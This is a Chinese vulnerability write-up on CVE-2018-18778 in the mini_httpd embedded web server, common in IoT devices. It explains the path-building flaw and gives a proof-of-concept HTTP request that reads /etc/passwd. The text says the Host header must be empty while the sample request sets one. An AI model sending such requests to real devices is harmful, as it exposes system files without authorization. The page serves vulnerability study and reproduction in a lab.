menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-18778)Mini_httpd 任意文件读取漏洞 chevron_right (CVE-2018-18778)Mini_httpd 任意文件读取漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-18778)Mini_httpd 任意文件读取漏洞.md
    1.59 KB / 2021-07-15 19:56:45
        (CVE-2018-18778)Mini\_httpd 任意文件读取漏洞
    ==============================================
    
    一、漏洞简介
    ------------
    
    Mini\_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini\_httpd组件。
    
    在mini\_httpd开启虚拟主机模式的情况下,用户请求`http://HOST/FILE`将会访问到当前目录下的`HOST/FILE`文件。
    
        (void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
    
    见上述代码,分析如下:
    
    -   当HOST=`example.com`、FILE=`index.html`的时候,上述语句结果为`example.com/index.html`,文件正常读取。
    -   当HOST为空、FILE=`etc/passwd`的时候,上述语句结果为`/etc/passwd`。
    
    后者被作为绝对路径,于是读取到了`/etc/passwd`,造成任意文件读取漏洞。
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    发送请求是将Host置空,PATH的值是文件绝对路径:
    
        GET /etc/passwd HTTP/1.1
        Host: www.0-sec.org
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
        Connection: close
    
    成功读取文件:
    
    ![1.png](./resource/(CVE-2018-18778)Mini_httpd任意文件读取漏洞/media/rId24.png)
    
    参考链接
    --------
    
    > https://vulhub.org/\#/environments/mini\_httpd/CVE-2018-18778/
    
    
    links
    file_download